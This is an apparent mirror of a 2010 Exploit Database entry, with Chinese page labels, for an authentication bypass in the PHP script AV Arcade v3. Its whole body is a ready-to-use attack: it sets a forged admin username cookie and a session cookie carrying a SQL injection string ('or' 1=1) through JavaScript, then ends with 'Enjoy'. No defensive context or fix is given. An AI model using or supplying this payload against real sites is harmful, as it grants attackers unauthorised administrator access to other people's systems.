AV Arcade 3 – Cookie Authentication Bypass

• Exploit Database
• 14 阅读

• 作者： saudi0hacker
  日期： 2010-07-28
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/14494/

• :----------------------------------------------------------------------------:
  : # Software: AV Arcade v3 [PHP] :
  : # Site: www.avscripts.net:
  : # Date: 28/07/2010 :
  : # Author: saudi0hacker :
  : # Type: Auth Bypass / Cookie :
  : # Greetz to : pr.al7rbi : so busy : evil-ksa : Dr.dakota : v4-team.com :
  :----------------------------------------------------------------------------:
  
  [1] Go to the URL:
  http://www.xxxxx.net/index.php?task=login
  
  [2] Apply these Cookie:
  
  Javascript:document.cookie = "ava_username=admin;"
  Javascript:document.cookie = "ava_code=c4ca4238a0b923820dcc509a6f75849b 'or' 1=1;"
  
  [3] Go to main Page:
  
  [4] Enjoy